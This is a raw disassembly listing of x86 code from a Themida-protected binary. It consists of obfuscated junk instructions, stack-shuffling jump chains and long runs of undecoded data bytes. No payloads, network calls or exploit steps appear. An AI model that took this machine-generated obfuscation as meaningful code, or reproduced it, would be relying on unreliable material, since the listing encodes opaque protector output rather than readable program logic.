dd 1BCB8107h, 8166726Bh, 74081AC3h, 5BD901D1h, 3BA3F181h
dd 0E9817AA3h, 32882625h, 54CEC181h, 0CD0162B1h, 74FF5559h
dd 8F5D0424h, 248B2404h, 2434FF24h, 582434FFh, 0E904EC83h
dd 0FFFFD436h, 4C481h, 1C8B0000h, 4C48124h, 0E9000000h
dd 0DDDEh
; ---------------------------------------------------------------------------
loc_549444: ; CODE XREF: Themida_:00545480j
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
shr ecx, 6
push ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_54D418
; ---------------------------------------------------------------------------
loc_549463: ; CODE XREF: Themida_:0054F576j
add esi, ebx
mov ebx, [esp]
jmp loc_555DF6
; ---------------------------------------------------------------------------
db 81h, 0EFh, 24h
dd 0E93F2F18h, 0FFFFB5D9h
; ---------------------------------------------------------------------------
loc_549478: ; CODE XREF: Themida_:00547A82j
sub esp, 4
jmp loc_548CBE
; ---------------------------------------------------------------------------
db 87h
dd 0E95C2404h, 0FFFF97C2h, 6ADE68h, 24348900h, 42474FFh
dd 0FFEFCBE9h, 0E9555DFFh, 9A41h
; ---------------------------------------------------------------------------
loc_5494A4: ; CODE XREF: Themida_:005551A4j
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_54D578
; ---------------------------------------------------------------------------
dd 7F7BA52h, 85E90F3Fh, 8B000096h, 54552404h, 4EC835Dh
dd 0E9243C89h, 1D39h, 0FFCB0158h, 56592434h, 0C681E689h
dd 4, 4C681h, 34870000h, 0E631E924h, 54F60000h, 5A660124h
dd 0D6F6C6FEh, 5C865266h, 0C3FE0124h, 1245C86h, 24148B66h
dd 8002C483h, 0E6C07BCEh, 0BCEE8005h, 34FFF030h, 5563E924h
dd 6F2D0000h, 4000717Ch, 5104E8C1h, 84753DB9h, 0E9C8317Fh
dd 7621h, 0E9242C8Bh, 0FFFFD2D0h, 3538E955h, 0DCB80000h
dd 523CCE18h, 1578CCBAh, 0D414E955h, 0ED81FFFFh, 383C71AEh
dd 81243C8Bh, 4C4h, 0F251E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549572: ; CODE XREF: Themida_:00551F22j
xor ebp, edi
pop edi
mov ebx, ebp
jmp loc_548C18
; ---------------------------------------------------------------------------
dd 4B8h, 58C70100h, 0E9243C87h, 811Ch, 0F84E85BBh, 0A7C38174h
dd 1BA9CD6h, 241C8BD8h, 4C481h, 0C7010000h, 68C70158h
dd 6FEBh, 0BB241C89h, 47D75897h, 0EB87DBF7h, 24048755h
dd 40E9D0F7h, 500000E5h, 363E6FB8h, 6CBB5378h, 0E92EEB0Eh
dd 7FB0h, 642AC581h, 0E94532D2h, 0FFFFF4B0h
; ---------------------------------------------------------------------------
loc_5495E0: ; CODE XREF: Themida_:005546D6j
push ebp
not dword ptr [esp]
pop ebp
jmp loc_5459DF
; ---------------------------------------------------------------------------
aZSqx db '‡<$\éŸX',0
dw 8300h
dd 148904ECh, 63816824h, 3DE975A0h
db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54DB58
; ---------------------------------------------------------------------------
loc_54961A: ; CODE XREF: Themida_:005505AAj
push eax
mov eax, 6D192385h
add edi, 41551092h
jmp loc_55658E
; ---------------------------------------------------------------------------
db 89h
dd 0E952243Ch, 0C6F9h
; ---------------------------------------------------------------------------
loc_549634: ; CODE XREF: Themida_:00555F2Fj
shl edx, 1
push 492Eh
jmp loc_54C29C
; ---------------------------------------------------------------------------
dd 9C2404FEh, 0FF90C3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549649: ; CODE XREF: Themida_:00546619j
cmp eax, edx
jmp loc_54C945
; ---------------------------------------------------------------------------
dd 442403B0h, 0FF9E34E9h, 0C38159FFh, 2, 2474FF53h, 5E95B04h
db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54966B: ; CODE XREF: Themida_:0054D039j
shr ah, 5
dec ah
shr ah, 8
add ah, 0D5h
jmp loc_548B2F
; ---------------------------------------------------------------------------
loc_54967B: ; CODE XREF: Themida_:005468FBj
mov esi, 2D9D48EEh
and esi, 71051DF8h
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_54B5DE
; ---------------------------------------------------------------------------
db 81h
dd 7C3F6FEDh, 5A55526Ch, 0E2815D5Dh, 2A677EF1h, 81D2F742h
dd 98D759F2h, 5AD329F5h, 31241C33h, 0BAE9241Ch, 81000059h
dd 4C0569C6h, 81CE294Bh, 4C0569EEh, 0C405594Bh, 5176D805h
dd 0BD0C83B9h, 0DAE98176h, 0E9347BBBh, 44E5h
; ---------------------------------------------------------------------------
loc_5496E8: ; CODE XREF: Themida_:0054A51Cj
add ebp, ebx
mov ebx, [esp]
push eax
mov eax, esp
jmp loc_5475D2
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 8521E9h, 471D6800h, 1C890000h, 4BB24h, 0E9810000h, 39E33835h
dd 0C181D901h, 39E33835h, 9762E9h, 4307BA00h, 0D2F74CAFh
dd 0BCF6EA81h, 0D301B350h, 0F6BE9h
db 0
; ---------------------------------------------------------------------------
loc_549731: ; CODE XREF: Themida_:0054F0EFj
pop edx
add edx, 4
push ebp
mov ebp, 4
jmp loc_548A89
; ---------------------------------------------------------------------------
db 80h
dd 0F78057EFh, 4872C6Eh, 2CF82823h, 0E9870423h, 0FFFF9A7Ah
; ---------------------------------------------------------------------------
loc_549758: ; CODE XREF: Themida_:0054FE44j
pop ebx
neg cl
sub cl, 2Ah
add cl, 1
shr cl, 2
xor cl, 0EDh
dec cl
push ebx
jmp loc_5525E2
; ---------------------------------------------------------------------------
db 59h
dd 0D62FEB81h, 0D889ED92h, 8B2434FFh, 0C481241Ch, 4, 0E904C483h
dd 9E20h, 8B5AF588h, 89522404h, 4C281E2h, 81000000h, 4C2h
dd 24148700h, 247C8A5Ch, 246C8804h, 0C7305904h, 0C730F830h
dd 2EC81h, 89660000h, 68662404h, 10E90D94h, 5E000045h
dd 240C875Fh, 24148B5Ch, 527668h, 243C8900h, 4EC81h, 8F540000h
dd 0B9512404h, 4, 4244C01h, 0BA525F59h, 767A26B3h, 5E4D68h
dd 241C8900h, 0BBh, 7CC38100h, 0E94D7452h, 54BAh, 335AD601h
dd 34312434h, 24343324h, 0E924248Bh, 222Dh, 240C8B66h
dd 4EC81h, 4890000h, 4EC8124h, 89000000h, 4812424h, 424h
dd 51565800h, 0C428C1B9h, 0EEC1E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54984A: ; CODE XREF: Themida_:00545380j
xor ecx, [esp]
pop esp
jmp loc_5467C3
; ---------------------------------------------------------------------------
loc_549853: ; CODE XREF: Themida_:00547772j
push dword ptr [esp]
push dword ptr [esp]
pop edi
push 0EDCh
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_54D8E4
; ---------------------------------------------------------------------------
db 59h
dd 2E9D6F6h, 81000064h, 0F1232E9h, 7DA82D0Ah, 0C829720Dh
dd 0D7DA805h, 240C8B72h, 4C481h, 0BE560000h, 4F12ACCh
dd 37B95146h, 310A377Ah, 0BA01E9CEh, 48F0000h, 5C1DE924h
dd 0E8290000h, 2F06B72Dh, 4E21E905h, 814D0000h, 896EAAF5h
dd 3EBA5260h, 0E97B1512h, 0FFFFCFAFh, 0E904C483h, 790Bh
dd 0AB2447B9h, 49E5E96Bh, 68500000h, 13140E65h, 5484058h
dd 0FFFFFFFFh, 140E2435h, 58C18913h, 0FFDA7EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549905: ; CODE XREF: Themida_:00543AFFj
mov edx, [esp]
jmp loc_545C02
; ---------------------------------------------------------------------------
db 68h, 0E7h, 6Fh
dd 24890000h, 24048324h, 24048B04h, 0E9E08950h, 0D01Eh
dd 0DEA1E958h, 34310000h, 0FA61E924h, 7568FFFFh, 89000026h
dd 50E9242Ch
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54993F: ; CODE XREF: Themida_:0054CBF2j
add eax, 4
push edi
jmp loc_54310C
; ---------------------------------------------------------------------------
dw 0C981h
dd 4D336170h, 6FDCC181h, 5FE97FAFh
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54995B: ; CODE XREF: Themida_:00544EDDj
xor eax, ecx
mov ecx, [esp]
push 27E8h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_556AE8
; ---------------------------------------------------------------------------
dw 0D2F7h
aB_0 db 'ê¼)',0
db 7Fh, 81h, 0C2h
dd 0FB47547Ch, 8DC9E957h, 5E520000h, 7EE815Ah, 1844894h
dd 0BA525EF5h, 2, 3EF7C581h, 0D5011FFBh, 3EF7B951h, 0CD291FFBh
dd 2C875A59h, 85665C24h, 87E99CC8h
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5499BF: ; CODE XREF: Themida_:0054311Aj
shl edi, 1
neg edi
xor edi, 38382F2Ch
add edi, 0AE747BD8h
add eax, edi
pop edi
xchg eax, [esp]
pop esp
push 9B7h
mov [esp], eax
mov eax, esp
sub esp, 4
jmp loc_544501
; ---------------------------------------------------------------------------
db 83h
dd 0F10504C4h, 0E966990Ch, 0DC32h
; ---------------------------------------------------------------------------
loc_5499F8: ; CODE XREF: Themida_:0054FA03j
sub eax, ebp
mov ebp, [esp]
jmp loc_551381
; ---------------------------------------------------------------------------
dw 34FFh
dd 241C8B24h, 4C481h, 89560000h, 50E953E6h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549A17: ; CODE XREF: Themida_:0054A6C7j
push esp
jmp loc_54E4A2
; ---------------------------------------------------------------------------
loc_549A1D: ; CODE XREF: Themida_:00550913j
push edi
mov edi, 662E394Ch
neg edi
xor edi, 99D1C6B0h
sub esi, edi
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_544737
; ---------------------------------------------------------------------------
dd 4BD55h, 0C2810000h, 71992F45h, 0EA81EA01h, 71992F45h
dd 57E4E95Dh, 0E6890000h, 4C681h, 0EE810000h, 4, 5C243487h
dd 237FE9h, 8C9AE900h, 8B66FFFFh, 0F0682404h, 89000041h
dd 5E542434h, 63F9E9h
db 0
; ---------------------------------------------------------------------------
loc_549A85: ; CODE XREF: Themida_:00550CC0j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push edi
push 519858BEh
pop edi
jmp loc_545ABD
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 3A7Bh, 54240C89h, 0E9240C8Bh, 0FFFF8C97h
dd 8B243C33h, 0A30F2424h, 0E99C2404h, 0FFFF8C4Ch, 57384EBEh
dd 5EF58922h, 565DEF09h, 7C0461BEh, 0E9F72907h, 5DC1h
; ---------------------------------------------------------------------------
loc_549AD8: ; CODE XREF: Themida_:0054D476j
sub ebp, 4
jmp loc_5441B2
; ---------------------------------------------------------------------------
dd 0C158C589h, 0CD8104EDh, 70E717E9h, 0AC11E9h, 52E78900h
dd 8430C6BAh, 0A8C2815Dh, 81DC25D5h, 83408BCAh, 0F29BE937h
dd 0FA87FFFFh, 0DBF7D387h, 0E9D3F74Bh, 0A824h
; ---------------------------------------------------------------------------
loc_549B18: ; CODE XREF: Themida_:00554835j
pop ebp
add ebx, eax
jmp loc_554196
; ---------------------------------------------------------------------------
loc_549B20: ; CODE XREF: Themida_:005558DAj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, 416730AAh
shl esi, 1
shr esi, 4
jmp loc_54F570
; ---------------------------------------------------------------------------
aQsf db 'Qé”)',0
dw 8300h
dd 0E95004C4h, 0D229h, 2C381h, 1C870000h, 68665C24h, 896663CAh
dd 0B3E9242Ch
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549B77: ; CODE XREF: Themida_:0054375Aj
add ebx, ebp
add ebx, 3F173E1Eh
pop ebp
jmp loc_553E9C
; ---------------------------------------------------------------------------
db 81h, 0F7h, 6Ch
dd 8108812Ch, 0A13FFAC5h, 81FD011Dh, 0A13FFAEDh, 243C8B1Dh
dd 3304C483h, 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF95CAh
dd 24740158h, 1BB95104h, 0E92C9D2Dh, 5D42h
; ---------------------------------------------------------------------------
loc_549BC0: ; CODE XREF: Themida_:00550A48j
not dword ptr [esp]
pop esi
inc esi
shr esi, 4
xor esi, 0E47EE6A2h
jmp loc_5578A3
; ---------------------------------------------------------------------------
loc_549BD3: ; CODE XREF: Themida_:005470E1j
mov al, 7Fh
sub al, 0C8h
or al, 22h
push ecx
push edx
jmp loc_55187F
; ---------------------------------------------------------------------------
loc_549BE0: ; CODE XREF: Themida_:0054DA9Aj
mov dh, ah
mov bl, dh
pop edx
mov cl, bl
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55330F
; ---------------------------------------------------------------------------
dw 34FFh
dd 0EC815824h, 4, 54240489h, 0A4BCE9h, 0B8EF8000h, 80CDEF80h
dd 0FA3009C7h, 52E9505Bh, 6600000Eh, 5724048Bh, 0C781E789h
dd 4, 2C781h, 0DCE90000h, 80000028h, 8853ACC4h, 5BF988E7h
dd 305E6858h, 1C890000h, 20CEB724h, 0B10EE9F9h, 0C9090000h
dd 0F25D840Fh, 8B54FFFFh, 59E92434h, 660000A3h, 9C240431h
dd 0FF8AA3E9h, 43D3F7FFh, 0A55EE9h, 4B85000h, 68000000h
dd 1780h, 9A1FE9h
db 0
; ---------------------------------------------------------------------------
loc_549C81: ; CODE XREF: Themida_:00552582j
push 798Fh
jmp loc_54AA74
; ---------------------------------------------------------------------------
db 0F6h
dd 0BB2DE9D2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549C92: ; CODE XREF: Themida_:00557463j
shr ebx, 6
jmp loc_545659
; ---------------------------------------------------------------------------
dw 0D2B9h
dd 15FB3C7h, 815059C8h, 4ADA242Ch, 815B00A7h, 0A74ADAC3h
dd 9BE95800h, 2CFFFFE4h, 0FFCF041Ch, 815B2434h, 4C4h, 0BF1AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549CCA: ; CODE XREF: Themida_:0054A9DAj
pop ebx
jmp loc_54270C
; ---------------------------------------------------------------------------
dd 0C8BCA31h, 0E2895224h, 4C281h, 0BEE90000h, 80000066h
dd 0B60F6DC3h, 8734FFC0h, 0FFE589E9h, 1C77FFFFh, 0D259669Dh
dd 0E99C2414h, 1582h, 4B85052h, 0E9000000h, 0A7A8h
; ---------------------------------------------------------------------------
loc_549D0C: ; CODE XREF: Themida_:0054471Dj
push 2EE2h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebp
push esi
mov esi, 4
mov ebp, esi
pop esi
push edi
mov edi, 783C05F5h
neg edi
neg edi
push esi
mov esi, 65C82873h
xor edi, esi
mov esi, [esp]
add esp, 4
jmp loc_547201
; ---------------------------------------------------------------------------
db 0C1h
dd 0D5F702E5h, 2D50CD81h, 0F58110F2h, 680D528Ch, 1890BF57h
dd 5BE948ADh
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D67: ; CODE XREF: Themida_:005571C7j
mov ebp, 767D6FCBh
xor ebp, 4364805h
push ecx
push esi
mov esi, 71480A77h
inc esi
or esi, 438A07FAh
jmp loc_555692
; ---------------------------------------------------------------------------
db 1, 0FEh, 0E9h
dd 9457h, 15FFD29h, 35C581DDh, 836D1B06h, 0D9E904ECh
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D9F: ; CODE XREF: Themida_:0054CAD7j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_54A7BB
; ---------------------------------------------------------------------------
loc_549DB9: ; CODE XREF: Themida_:00544B59j
dec ebp
not ebp
shl ebp, 2
sub ebp, 0F626DBC8h
xor ebx, ebp
pop ebp
and eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_54439F
; ---------------------------------------------------------------------------
db 81h
dd 0D2E92CFh, 1F78156h, 811DB64Eh, 6A5F81EFh, 4EC8352h
dd 0BD242C89h, 14142253h, 815DEF01h, 920A81EEh, 81FE0162h
dd 920A81C6h, 0DBE95F62h
db 9Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549E07: ; CODE XREF: Themida_:0055133Fj
pop ecx
sub ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
shl ebp, 8
sub ebp, 1
add ebp, 0F8898581h
sub esp, 4
mov [esp], edi
jmp loc_54F8DF
; ---------------------------------------------------------------------------
loc_549E31: ; CODE XREF: Themida_:005461B6j
pop edx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5519A6
; ---------------------------------------------------------------------------
dd 0E9240C8Bh, 0CBA8h, 0C5A93BAh, 2A0B682Eh, 14890000h
dd 2414F724h, 0DEE2815Ah, 0C11F924Eh, 0E2D105E2h, 0ED04C281h
dd 0D3019B7Eh, 4DEBE9h, 4C48100h, 52000000h, 0C281E289h
dd 4, 4EA81h, 14870000h, 547E924h, 0E6C10000h, 0B9514606h
dd 241F2BADh, 0C181D1F7h, 0D91FD02Bh, 5885E9h, 148B6600h
dd 2C48324h, 7EF0E9h, 68EB8100h, 55769B08h, 2562B9BDh
dd 248BE92Bh, 77B30000h, 0B61CB353h, 0DE68041h, 8081CE80h
dd 0C680B7EEh, 50E6806Dh, 8EEE80h, 51665BDEh, 0CE0058B1h
dd 0C6805966h, 51DE2869h, 7DB05052h, 48BC288h, 4C48324h
dd 808FB753h, 0E7805ECFh, 0FCF3E990h, 0E181FFFFh, 1BFA2546h
dd 30A4E181h, 93E91448h, 3300005Ch, 248B2404h, 187DE924h
dd 0C4830000h, 1FBC2504h, 57406970h, 5DBFE9h, 81DD0100h
dd 0E10110EDh, 31FAE943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549F4E: ; CODE XREF: Themida_:00555432j
mov edx, 1A4069D2h
mov esi, 380CB8B8h
add esi, edx
mov edx, [esp]
add esp, 4
jmp loc_54E215
; ---------------------------------------------------------------------------
db 1, 0C6h, 8Bh
dd 63E92404h, 83FFFFDDh, 36E904C4h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549F77: ; CODE XREF: Themida_:00544D37j
mov ecx, eax
jmp loc_543FAA
; ---------------------------------------------------------------------------
dw 0D629h
dd 0C1E9F289h, 52FFFFB9h, 0C281E289h, 4, 8704C283h, 535C2414h
dd 241C8B54h, 4C481h, 0E9560000h, 0AE90h, 7C3F8A2Dh, 14F70553h
dd 55A439Eh, 3D597A0Ch, 0C3236C2Dh, 0E9D8290Dh, 0FFFFA7A8h
dd 4D3D5BBBh, 22E9565Ah, 5AFFFFB2h, 2699E9h, 8732E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549FDA: ; CODE XREF: Themida_:00553D2Aj
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_545AB5
; ---------------------------------------------------------------------------
dd 0B9h, 91E98100h, 2942AB05h, 91C181D1h, 8942AB05h, 0F28159CAh
dd 0AF1D9978h, 0FBE9D001h, 4700006Eh, 384068h, 24148900h
dd 4C6FB951h, 5BBA2B01h, 81E952F2h, 0BA36E2C2h, 0E9CA0123h
dd 0AC37h
; ---------------------------------------------------------------------------
loc_54A030: ; CODE XREF: Themida_:0054B8ADj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebx
push ebp
mov ebp, esp
jmp loc_550E1D
; ---------------------------------------------------------------------------
dw 0C15Fh
dd 0EF8104E7h, 60EF5FFEh, 815FFD89h, 0AE59B6EAh, 0E9EA2976h
dd 5EFFh, 4B951h, 0CB290000h, 241C3359h, 33241C31h, 0E95C241Ch
dd 4F0Dh
; ---------------------------------------------------------------------------
loc_54A078: ; CODE XREF: Themida_:00555BA6j
mov ah, 93h
mov bh, 0C6h
xor bh, ah
mov eax, [esp]
add esp, 4
xor al, bh
jmp loc_54909D
; ---------------------------------------------------------------------------
db 68h
dd 22B1h, 24048F54h, 4EC81h, 3C890000h, 4BF24h, 7C010000h
dd 3C8B0424h, 0F382E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A0AE: ; CODE XREF: Themida_:00548B37j
pop eax
add dh, 0F6h
push ecx
mov cl, 0C6h
jmp loc_546610
; ---------------------------------------------------------------------------
dw 0C781h
dd 49F93515h, 0FFB926E9h, 60BFBFFFh, 81471ECCh, 0D706EBC7h
dd 0CBB5352h, 0C12A8370h, 814B05EBh, 6227C2E3h, 8AF38137h
dd 2979C848h, 0C7815BDFh, 113AF3BDh, 45DBC781h, 0F7814A70h
dd 54C6557Fh, 3C8BF889h, 18DFE924h, 23BB0000h, 816C2C30h
dd 94213FE3h, 536FE948h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A116: ; CODE XREF: Themida_:005521F2j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5547FA
; ---------------------------------------------------------------------------
db 83h
dd 0BF5704C4h, 4, 3C8BF901h, 4C48324h, 0FFD97DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A139: ; CODE XREF: Themida_:00543F22j
xor ebx, edx
jmp loc_5431F5
; ---------------------------------------------------------------------------
dd 5513EBEh, 0F7DEF757h, 5AE94ED6h, 100007Ah, 11C181E9h
dd 8123F864h, 60CA9C1h, 59CE96Eh, 0CC800000h, 75B151A6h
dd 0E980C9FEh, 59CC2871h, 0E906E4C0h, 0FFFFFABBh, 815F5457h
dd 4C7h, 9FB3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A186: ; CODE XREF: Themida_:00548549j
add edx, 4
xchg edx, [esp]
pop esp
or eax, eax
jz loc_5468B0
push ebx
jmp loc_5449B3
; ---------------------------------------------------------------------------
dw 0E089h
dd 4BF57h, 0F8010000h, 4055Fh, 4870000h, 0BD555C24h, 521C767Dh
dd 0F581E5D1h, 0B5FE9764h, 34FFEB29h, 0E9575D24h, 4ADEh
dd 7A3468h, 242C8900h, 0BE565D54h, 4, 0FFA0E1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A1E1: ; CODE XREF: Themida_:00552FD8j
sub edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_555E5D
; ---------------------------------------------------------------------------
loc_54A1F2: ; CODE XREF: Themida_:00551C0Fj
push edi
mov edi, 253347B1h
sub edi, 574C4C31h
inc edi
inc edi
add edi, 7A8D40D4h
sub edi, 165A608Eh
add edi, 0CDE62438h
push edx
mov edx, edi
mov eax, edx
jmp loc_55753B
; ---------------------------------------------------------------------------
loc_54A21C: ; CODE XREF: Themida_:005457F0j
inc esi
shl esi, 5
jmp loc_547A95
; ---------------------------------------------------------------------------
loc_54A225: ; CODE XREF: Themida_:0054340Aj
add eax, 2E310F42h
add eax, 7C445F1Bh
add eax, esi
sub eax, 7C445F1Bh
jmp loc_545324
; ---------------------------------------------------------------------------
db 1
dd 2C875EF5h, 0E918E924h, 0E95EFFFFh, 4044h
; ---------------------------------------------------------------------------
loc_54A24C: ; CODE XREF: Themida_:005567EBj
add edi, ebp
jmp loc_5442D1
; ---------------------------------------------------------------------------
aZIsT db '¾‡',8,1Bh,'›éºT',0
dd 0E7814700h, 2B4412B0h, 0A335E9h, 5846B900h, 0D4E93F4Ch
dd 81FFFFE0h, 9E042444h, 817BCD54h, 60042444h, 0E92DEC08h
dd 6490h, 4B850h, 26E90000h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A293: ; CODE XREF: Themida_:0055593Bj
mov ebx, esp
push eax
mov eax, 73E60FE1h
and eax, 57756BC2h
sub eax, 63B80431h
add eax, 2F68467Fh
jmp loc_54B4F1
; ---------------------------------------------------------------------------
loc_54A2AF: ; CODE XREF: Themida_:00553EA8j
xor ebx, 68412C3Fh
mov eax, ebx
pop ebx
jmp loc_54AD74
; ---------------------------------------------------------------------------
db 50h, 89h, 0E0h
dd 4BE56h, 80E90000h, 810000D6h, 0BD04246Ch, 1454B3Eh
dd 8104246Ch, 0BD042444h, 5D454B3Eh, 0E9243C29h, 0FFFFEDFBh
; ---------------------------------------------------------------------------
loc_54A2E8: ; CODE XREF: Themida_:005531A2j
xor edi, [esp]
mov esp, [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 4D92h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push edi
mov edi, 720E6D9Fh
mov esi, 0A04EE617h
sub esi, 6CBD66C1h
add esi, edi
add esi, 6CBD66C1h
jmp loc_547B6A
; ---------------------------------------------------------------------------
aUCb db 'U½Ú<ÒCÅÈ&',0
db 4, 0E9h, 13h
dd 81FFFFA8h, 5C378CC1h, 0BB535F73h, 101B3E2Ah, 0C1DAC381h
dd 0D901EFE4h, 83241C8Bh, 2CE904C4h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A36B: ; CODE XREF: Themida_:00546C43j
add ebp, 0DD66B915h
add ebx, ebp
pop ebp
sub ebx, 698722F3h
add ebx, ebp
add ebx, 698722F3h
sub ebx, 331D274Ch
jmp loc_5435D3
; ---------------------------------------------------------------------------
db 88h, 0DEh, 5Bh
dd 0E902EEC0h, 0FFFFCD5Ah, 8124248Bh, 4ECh, 24348900h
dd 2B3ABEh, 0A8B85059h, 2917FF2Ah, 0EC8158C6h, 4, 0D459E9h
dd 0E955AD00h, 363Bh, 8CB9515Eh, 49129411h, 1E59BF57h
dd 0C18160E4h, 665F144Eh, 79B0E981h, 0F9016C24h, 0FFD2EAE9h
dd 0C895CFFh, 4CE95324h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A3EF: ; CODE XREF: Themida_:005574B3j
neg esi
sub esi, 0F95ED101h
add eax, 471A6156h
add eax, esi
push esi
jmp loc_546F27
; ---------------------------------------------------------------------------
loc_54A404: ; CODE XREF: Themida_:0054E9ABj
add esp, 4
push ecx
push ebp
push 7AC26C6Fh
pop ebp
jmp loc_5568E7
; ---------------------------------------------------------------------------
dd 0C681D6F7h, 58B51566h, 6634E9h, 8BEF8800h, 0E3E9240Ch
dd 0BBFFFFA5h, 1D554561h, 0FFDE07E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A435: ; CODE XREF: Themida_:005537C1j
push edi
mov edi, 6DFA7C9Ah
jmp loc_551F16
; ---------------------------------------------------------------------------
dd 31241C33h, 30E9241Ch
db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A44B: ; CODE XREF: Themida_:005531AEj
pop esi
push edx
mov edx, 7B86038Ch
and edx, 3C255F92h
jmp loc_544B41
; ---------------------------------------------------------------------------
loc_54A45D: ; CODE XREF: Themida_:005459E6j
mov edi, 35A73F57h
shr edi, 3
shl edi, 1
push ebp
push edx
push ecx
mov ecx, 573D0CB2h
dec ecx
sub ecx, 66A449Ah
not ecx
xor ecx, 9F7F4942h
mov edx, ecx
mov ecx, [esp]
add esp, 4
inc edx
xchg eax, edx
neg eax
xchg eax, edx
not edx
sub edx, 0F6D40222h
mov ebp, edx
pop edx
or edi, ebp
pop ebp
push ecx
mov ecx, 4603F69h
inc ecx
jmp loc_547C15
; ---------------------------------------------------------------------------
loc_54A4A8: ; CODE XREF: Themida_:00557A4Dj
mov edx, 1F842DF3h
xor [esp+4], edx
mov edx, [esp]
add esp, 4
jmp loc_54EE7F
; ---------------------------------------------------------------------------
dd 4B850h, 7EE90000h, 8BFFFF89h, 89562404h, 9284E9E6h
dd 0CB290000h, 3972EB81h, 0E9597F57h, 0FFFFB1BDh
; ---------------------------------------------------------------------------
loc_54A4E0: ; CODE XREF: Themida_:0055241Aj
shr edi, 7
sub edi, 44431DBCh
jmp loc_54F5FD
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF8218h, 4062F281h, 0A3E957B2h
db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 631Ch
mov [esp], ebx
mov ebx, 1362054Dh
shr ebx, 1
not ebx
inc ebx
inc ebx
dec ebx
sub ebx, 0F64EFD56h
jmp loc_5496E8
; ---------------------------------------------------------------------------
loc_54A521: ; CODE XREF: Themida_:0054BB44j
mov esi, ebp
pop ebp
pop edx
and ebp, esi
pop esi
xor ebp, 8A2045h
and eax, ebp
jmp loc_552565
; ---------------------------------------------------------------------------
aRiS db '¸i°>éß',0
db 2 dup(0), 1
dd 84C181F9h, 8B629F71h, 0E951243Ch, 486Eh, 83241C89h
dd 50E904ECh
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A55B: ; CODE XREF: Themida_:0055267Dj
mov ebx, 0A8552E24h
add ecx, ebx
jmp loc_551460
; ---------------------------------------------------------------------------
db 30h
dd 8E53E9C6h, 0F387FFFFh, 9018E9h, 0F665C00h, 9C2404B3h
dd 0FF818BE9h, 86D3F6FFh, 8B66241Ch, 0C4832404h, 56C78602h
dd 26F2E9h, 47F28000h, 28A9F280h, 24148BD3h, 4C481h, 8AE90000h
dd 89000043h, 14F72404h, 7AB0E924h, 35050000h, 31FD6076h
